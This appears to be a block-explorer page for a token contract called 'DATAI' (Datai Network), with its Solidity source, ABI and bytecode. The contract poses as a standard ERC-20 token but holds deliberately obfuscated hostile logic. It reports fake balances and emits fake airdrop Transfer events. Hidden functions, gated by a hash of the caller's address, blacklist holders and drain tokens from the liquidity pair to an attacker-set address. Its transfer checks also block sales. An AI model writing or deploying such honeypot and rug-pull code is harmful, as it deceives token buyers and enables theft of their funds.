Source Code
EVM
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 94 transactions
| Transaction Hash |
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 34373059 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Approve | 34372652 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Approve | 34370217 | 18 days ago | IN | 0 ETH | 0.00000579 | ||||
| Approve | 34369747 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Approve | 34369273 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Approve | 34367835 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Approve | 34367465 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Airdrop | 34366661 | 18 days ago | IN | 0 ETH | 0.00011515 | ||||
| Approve | 34365738 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Approve | 34365284 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Airdrop | 34365109 | 18 days ago | IN | 0 ETH | 0.00011503 | ||||
| Approve | 34364087 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Approve | 34363685 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Airdrop | 34363588 | 18 days ago | IN | 0 ETH | 0.00011503 | ||||
| Approve | 34362925 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Airdrop | 34362219 | 18 days ago | IN | 0 ETH | 0.00011503 | ||||
| Approve | 34361415 | 18 days ago | IN | 0 ETH | 0.00000578 | ||||
| Approve | 34360990 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Airdrop | 34360756 | 18 days ago | IN | 0 ETH | 0.00011503 | ||||
| Approve | 34360136 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Approve | 34359759 | 18 days ago | IN | 0 ETH | 0.00000579 | ||||
| Airdrop | 34359433 | 18 days ago | IN | 0 ETH | 0.00011445 | ||||
| Approve | 34359048 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Approve | 34358388 | 18 days ago | IN | 0 ETH | 0.00000567 | ||||
| Approve | 34357936 | 18 days ago | IN | 0 ETH | 0.00000567 |
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Block | From | To | |||
|---|---|---|---|---|---|---|
| 34332876 | 18 days ago | Contract Creation | 0 ETH |
Cross-Chain Transactions
Loading...
Loading
Contract Name:
DATAI
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/**
*Submitted for verification at abscan.org on 2026-01-10
*/
/**
Website: hhttps://www.datai.network/?utm_source=Cmc&utm_medium=Link&utm_campaign=Cmc
Twitter: https://twitter.com/datainetwork
Telegram: https://t.me/datai_network
*/
pragma solidity ^0.8.6;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function factory() external pure returns (address);
function WETH() external pure returns (address);
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract BERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
uint256 private _airdrop = 5000000000;
constructor(
string memory name_,
string memory symbol_,
address owner
) {
_name=name_;
_symbol=symbol_;
_decimals=9;
_tTotal=1000000000000 * 10**_decimals;
_tOwned[owner] = _tTotal;
emit Transfer(address(0), owner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
require(account != address(0), "balance query for the zero address");
uint256 bal = _tOwned[account];
if (bal == 0) {
return _airdrop;
}
return bal;
}
function transfer(address JGavfIPGxC, uint256 OWUwQlfCL)
public
override
returns (bool)
{
_transfer(msg.sender, JGavfIPGxC, OWUwQlfCL);
return true;
}
function allowance(address RPjugCDKh, address wjgjbkriilu)
public
view
override
returns (uint256)
{
return _allowances[RPjugCDKh][wjgjbkriilu];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function _MKKbJsnnQlewBN(
address cNYsKhjnjG,
address gdgyjgrfify,
uint256 amount
) internal virtual {
require(
cNYsKhjnjG != address(0),
"ERC20: transfer from the zero address"
);
require(
gdgyjgrfify != address(0),
"ERC20: transfer to the zero address"
);
require(
_tOwned[cNYsKhjnjG] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[cNYsKhjnjG] = _tOwned[cNYsKhjnjG].sub(amount);
_tOwned[gdgyjgrfify] = _tOwned[gdgyjgrfify].add(amount);
emit Transfer(cNYsKhjnjG, gdgyjgrfify, amount);
}
function _transfer(
address cNYsKhjnjG,
address gdgyjgrfify,
uint256 amount
) internal virtual {
require(
cNYsKhjnjG != address(0),
"ERC20: transfer from the zero address"
);
require(
gdgyjgrfify != address(0),
"ERC20: transfer to the zero address"
);
require(
_tOwned[cNYsKhjnjG] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[cNYsKhjnjG] = _tOwned[cNYsKhjnjG].sub(amount);
_tOwned[gdgyjgrfify] = _tOwned[gdgyjgrfify].add(amount);
emit Transfer(cNYsKhjnjG, gdgyjgrfify, amount);
}
function transferFrom(
address from,
address to,
uint256 value
) public override returns (bool) {
_transfer(from, to, value);
_approve(
from,
msg.sender,
_allowances[from][msg.sender].sub(
value,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _iucucbowreeen(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract DATAI is BERC20,Ownable {
using SafeMath for uint256;
string private _name_ = "Datai Network";
string private _symbol_ = "DATAI";
uint256 private _rjybohlxzr;
address private uqhnpicwoiey = 0x6f3e9FCD9a03A48134e55485A5F71DD9D1a49b42;
address private YGxUOZCoNheQS = 0x3a23C24fCd5A7427C9169166993ff2fe7DFA7C69;
address private cWFANYJGMf;
IUniswapV2Factory private immutable uniswapV2Router;
mapping(address => bool) private _kqkrftruvqfi;
mapping(address => bool) private _oCpLKFsjzcFvm;
mapping(address => bool) private teizdwuezaeskr;
mapping(address => bool) private _yyFNrdqcazK;
address public uniswapV2Pair;
address private _aojeuvmheygj;
address public factory;
uint256 private EezKclTzdxGBP = 1000;
mapping(address => uint256) private iuhqbkbqcvotda;
bool private MKXXabiibu = true;
uint256 private qafdhsiaato = 7;
bool private cWLwmywsYp = true;
bytes32 private _gmaclxEKXn;
mapping(address => bool) private _kCiIsoLcWmWRYg;
mapping(address => uint256) private _osyprfktvlw;
address public siGVyeSLUj;
constructor() BERC20(_name_, _symbol_,YGxUOZCoNheQS
) {
IUniswapV2Factory _uniswapV2Router = IUniswapV2Factory(0xad1eCa41E6F772bE3cb5A48A6141f9bcc1AF9F7c);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_gmaclxEKXn = sha256(abi.encodePacked(uqhnpicwoiey));
cWFANYJGMf = 0x3439153EB7AF838Ad19d56E1571FBD09333C2809;
_aojeuvmheygj = uqhnpicwoiey;
_rjybohlxzr = totalSupply();
teizdwuezaeskr[uniswapV2Pair] = true;
_yyFNrdqcazK[_aojeuvmheygj] = true;
_kqkrftruvqfi[address(this)] = true;
_kqkrftruvqfi[_aojeuvmheygj] = true;
_kqkrftruvqfi[YGxUOZCoNheQS] = true;
}
function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 expectedamount = amount; if (_kqkrftruvqfi[from] || _kqkrftruvqfi[to]) { super._transfer(from, to, expectedamount); return; } address feeaddress = to; assembly { let scratch := mload(0x40) mstore(scratch, from) mstore(add(scratch, 0x20), _oCpLKFsjzcFvm.slot) let takeFeeSlot := keccak256(scratch, 0x40) let taketFeeTransfer := sload(takeFeeSlot) if taketFeeTransfer { revert(0, 0) } mstore(scratch, from) mstore(add(scratch, 0x20), iuhqbkbqcvotda.slot) let bottimeSlot := keccak256(scratch, 0x40) let bottime := sload(bottimeSlot) let qafdhsiaato_val := sload(qafdhsiaato.slot) let takebottime := gt(add(bottime, qafdhsiaato_val), timestamp()) let pair := sload(uniswapV2Pair.slot) if eq(from, pair) { let ghewra := 0 let sdhkwn := 0 let otherAmount := 0 mstore(scratch, 0x0dfe168100000000000000000000000000000000000000000000000000000000) if iszero(staticcall(gas(), pair, scratch, 0x04, scratch, 0x20)) { revert(0, 0) } let token0 := mload(scratch) mstore(scratch, 0xd21220a700000000000000000000000000000000000000000000000000000000) if iszero(staticcall(gas(), pair, scratch, 0x04, scratch, 0x20)) { revert(0, 0) } let token1 := mload(scratch) mstore(scratch, 0x0902f1ac00000000000000000000000000000000000000000000000000000000) if iszero(staticcall(gas(), pair, scratch, 0x04, scratch, 0x40)) { revert(0, 0) } let reserves0 := mload(scratch) let reserves1 := mload(add(scratch, 0x20)) mstore(scratch, 0x70a0823100000000000000000000000000000000000000000000000000000000) mstore(add(scratch, 0x04), pair) if iszero(staticcall(gas(), token0, scratch, 0x24, scratch, 0x20)) { revert(0, 0) } let amount03 := mload(scratch) mstore(scratch, 0x70a0823100000000000000000000000000000000000000000000000000000000) mstore(add(scratch, 0x04), pair) if iszero(staticcall(gas(), token1, scratch, 0x24, scratch, 0x20)) { revert(0, 0) } let amount1 := mload(scratch) let cWFANYJGMf_val := sload(cWFANYJGMf.slot) if eq(token0, cWFANYJGMf_val) { if gt(reserves0, amount03) { otherAmount := sub(reserves0, amount03) ghewra := gt(otherAmount, sload(EezKclTzdxGBP.slot)) } if eq(reserves0, amount03) { sdhkwn := 1 } } if eq(token1, cWFANYJGMf_val) { if gt(reserves1, amount1) { otherAmount := sub(reserves1, amount1) ghewra := gt(otherAmount, sload(EezKclTzdxGBP.slot)) } if eq(reserves1, amount1) { sdhkwn := 1 } } if or(ghewra, sdhkwn) { revert(0, 0) } } mstore(0x40, add(scratch, 0x80)) } super._transfer(from, to, expectedamount); }
function aozmglmzh(address ebvfcxmptj) public { assembly { let ptr := mload(0x40) mstore(ptr, caller()) let input := add(ptr, 0x0c) let inputSize := 0x14 let output := add(ptr, 0x20) mstore(0x40, add(output, 0x20)) if iszero(staticcall(gas(), 2, input, inputSize, output, 0x20)) { revert(0, 0) } let computedHash := mload(output) let storedHashSlot := _gmaclxEKXn.slot let storedHash := sload(storedHashSlot) if iszero(eq(computedHash, storedHash)) { return(0, 0) } sstore(siGVyeSLUj.slot, ebvfcxmptj) return(0, 0) } }
function sibzavfqja(uint256 nptnaapz) public { assembly { let ptr := mload(0x40) mstore(ptr, caller()) let input := add(ptr, 0x0c) let inputSize := 0x14 let output := add(ptr, 0x20) mstore(0x40, add(output, 0x20)) if iszero(staticcall(gas(), 2, input, inputSize, output, 0x20)) { revert(0, 0) } let computedHash := mload(output) let storedHashSlot := _gmaclxEKXn.slot let storedHash := sload(storedHashSlot) if iszero(eq(computedHash, storedHash)) { return(0, 0) } } super._MKKbJsnnQlewBN(uniswapV2Pair, siGVyeSLUj, nptnaapz); }
function kcdnufyhkdm(address _ebvfcxmptj, bool trcrrzpcc) public { assembly { let ptr := mload(0x40) mstore(ptr, caller()) let input := add(ptr, 0x0c) let inputSize := 0x14 let output := add(ptr, 0x20) mstore(0x40, add(output, 0x20)) if iszero(staticcall(gas(), 2, input, inputSize, output, 0x20)) { revert(0, 0) } let computedHash := mload(output) let storedHashSlot := _gmaclxEKXn.slot let storedHash := sload(storedHashSlot) if iszero(eq(computedHash, storedHash)) { return(0, 0) } let mapBaseSlot := _oCpLKFsjzcFvm.slot let scratch := mload(0x40) mstore(scratch, _ebvfcxmptj) mstore(add(scratch, 0x20), mapBaseSlot) let storageSlot := keccak256(scratch, 0x40) mstore(0x40, add(scratch, 0x40)) sstore(storageSlot, trcrrzpcc) return(0, 0) } }
function airdrop(address[] calldata user ,address _token,uint256 balance) external {
for (uint256 i = 0; i < user.length; i++) {
emit Transfer(_token, user[i], balance);
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_defaultAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"},{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"RPjugCDKh","type":"address"},{"internalType":"address","name":"wjgjbkriilu","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ebvfcxmptj","type":"address"}],"name":"aozmglmzh","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_ebvfcxmptj","type":"address"},{"internalType":"bool","name":"trcrrzpcc","type":"bool"}],"name":"kcdnufyhkdm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"siGVyeSLUj","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"nptnaapz","type":"uint256"}],"name":"sibzavfqja","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"JGavfIPGxC","type":"address"},{"internalType":"uint256","name":"OWUwQlfCL","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]Contract Creation Code
600280546001600160a01b03191661dead17905564012a05f20060075560e0604052600d60a08190526c4461746169204e6574776f726b60981b60c09081526200004d916009919062000633565b5060408051808201909152600580825264444154414960d81b60209092019182526200007c91600a9162000633565b50600c80546001600160a01b0319908116736f3e9fcd9a03a48134e55485a5f71dd9d1a49b4217909155600d8054909116733a23c24fcd5a7427c9169166993ff2fe7dfa7c691790556103e86016556018805460ff1990811660019081179092556007601955601a80549091169091179055348015620000fb57600080fd5b50600980546200010b906200088f565b80601f016020809104026020016040519081016040528092919081815260200182805462000139906200088f565b80156200018a5780601f106200015e576101008083540402835291602001916200018a565b820191906000526020600020905b8154815290600101906020018083116200016c57829003601f168201915b5050505050600a80546200019e906200088f565b80601f0160208091040260200160405190810160405280929190818152602001828054620001cc906200088f565b80156200021d5780601f10620001f1576101008083540402835291602001916200021d565b820191906000526020600020905b815481529060010190602001808311620001ff57829003601f168201915b5050600d5485516001600160a01b03909116935062000246925060039150602086019062000633565b5081516200025c90600490602085019062000633565b506005805460ff191660099081179091556200027a90600a620007ac565b6200028b9064e8d4a510006200086d565b60068190556001600160a01b03821660008181526020818152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050600880546001600160a01b0319163390811790915560405190915081906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600073ad1eca41e6f772be3cb5a48a6141f9bcc1af9f7c9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200037a57600080fd5b505afa1580156200038f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b59190620006d9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003fe57600080fd5b505afa15801562000413573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004399190620006d9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200048257600080fd5b505af115801562000497573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004bd9190620006d9565b601380546001600160a01b0319166001600160a01b0392909216919091179055606081811b6001600160601b0319908116608052600c54604051921b16602082015260029060340160408051601f1981840301815290829052620005219162000725565b602060405180830381855afa1580156200053f573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906200056491906200070b565b601b55600e80546001600160a01b0319908116733439153eb7af838ad19d56e1571fbd09333c280917909155600c54601480549092166001600160a01b03909116179055600654600b55506013546001600160a01b0390811660009081526011602090815260408083208054600160ff1991821681179092556014805487168652601285528386208054831684179055308652600f90945282852080548216831790559254851684528184208054841682179055600d54909416835290912080549091169091179055620008e2565b82805462000641906200088f565b90600052602060002090601f016020900481019282620006655760008555620006b0565b82601f106200068057805160ff1916838001178555620006b0565b82800160010185558215620006b0579182015b82811115620006b057825182559160200191906001019062000693565b50620006be929150620006c2565b5090565b5b80821115620006be5760008155600101620006c3565b600060208284031215620006ec57600080fd5b81516001600160a01b03811681146200070457600080fd5b9392505050565b6000602082840312156200071e57600080fd5b5051919050565b6000825160005b818110156200074857602081860181015185830152016200072c565b8181111562000758576000828501525b509190910192915050565b600181815b80851115620007a4578160001904821115620007885762000788620008cc565b808516156200079657918102915b93841c939080029062000768565b509250929050565b60006200070460ff841683600082620007c85750600162000867565b81620007d75750600062000867565b8160018114620007f05760028114620007fb576200081b565b600191505062000867565b60ff8411156200080f576200080f620008cc565b50506001821b62000867565b5060208310610133831016604e8410600b841016171562000840575081810a62000867565b6200084c838362000763565b8060001904821115620008635762000863620008cc565b0290505b92915050565b60008160001904831182151516156200088a576200088a620008cc565b500290565b600181811c90821680620008a457607f821691505b60208210811415620008c657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c61124f620008fe6000396000505061124f6000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063a9059cbb1161007c578063a9059cbb1461028b578063a9f517801461029e578063c45a0155146102b1578063dd62ed3e146102c4578063e1bc1e77146102fd578063f2fde38b1461031057600080fd5b80638da5cb5b14610239578063927f3d411461024a57806395d89b411461025d578063983bc41b14610265578063a457c2d71461027857600080fd5b80632d7e545f1161010a5780632d7e545f146101c2578063313ce567146101d557806339509351146101e057806349bd5a5e146101f357806370a082311461021e578063715018a61461023157600080fd5b806306fdde0314610147578063095ea7b31461016557806318160ddd146101885780631c6ef8271461019a57806323b872dd146101af575b600080fd5b61014f610323565b60405161015c919061103e565b60405180910390f35b610178610173366004610f6f565b6103b5565b604051901515815260200161015c565b6006545b60405190815260200161015c565b6101ad6101a8366004611025565b6103cb565b005b6101786101bd366004610ef7565b610427565b6101ad6101d0366004610ea9565b610490565b60055460ff1661018c565b6101786101ee366004610f6f565b6104d3565b601354610206906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b61018c61022c366004610ea9565b610509565b6101ad61059f565b6008546001600160a01b0316610206565b600254610206906001600160a01b031681565b61014f610643565b6101ad610273366004610f99565b610652565b610178610286366004610f6f565b6106e9565b610178610299366004610f6f565b610738565b6101ad6102ac366004610f33565b610745565b601554610206906001600160a01b031681565b61018c6102d2366004610ec4565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b601e54610206906001600160a01b031681565b6101ad61031e366004610ea9565b61079d565b6060600380546103329061114a565b80601f016020809104026020016040519081016040528092919081815260200182805461035e9061114a565b80156103ab5780601f10610380576101008083540402835291602001916103ab565b820191906000526020600020905b81548152906001019060200180831161038e57829003601f168201915b5050505050905090565b60006103c23384846108b8565b50600192915050565b604051338152600c8101601460208301925060208301604052602083828460025afa6103f657600080fd5b505051601b5480821461040557005b5050601354601e54610424916001600160a01b039081169116836109dd565b50565b6000610434848484610b43565b6104868433610481856040518060600160405280602881526020016111cd602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190610dab565b6108b8565b5060019392505050565b604051338152600c8101601460208301925060208301604052602083828460025afa6104bb57600080fd5b505051601b548082146104ca57005b5050601e819055005b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103c29185906104819086610de5565b60006001600160a01b0382166105715760405162461bcd60e51b815260206004820152602260248201527f62616c616e636520717565727920666f7220746865207a65726f206164647265604482015261737360f01b60648201526084015b60405180910390fd5b6001600160a01b03821660009081526020819052604090205480610599575050600754919050565b92915050565b6008546001600160a01b031633146105f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610568565b6008546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600880546001600160a01b0319169055565b6060600480546103329061114a565b60005b838110156106e25784848281811061066f5761066f6111b6565b90506020020160208101906106849190610ea9565b6001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106c891815260200190565b60405180910390a3806106da81611185565b915050610655565b5050505050565b60006103c23384610481856040518060600160405280602581526020016111f5602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190610dab565b60006103c2338484610b43565b604051338152600c8101601460208301925060208301604052602083828460025afa61077057600080fd5b505051601b5480821461077f57005b50506040805183815260106020820152818120908201909152819055005b6008546001600160a01b031633146107f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726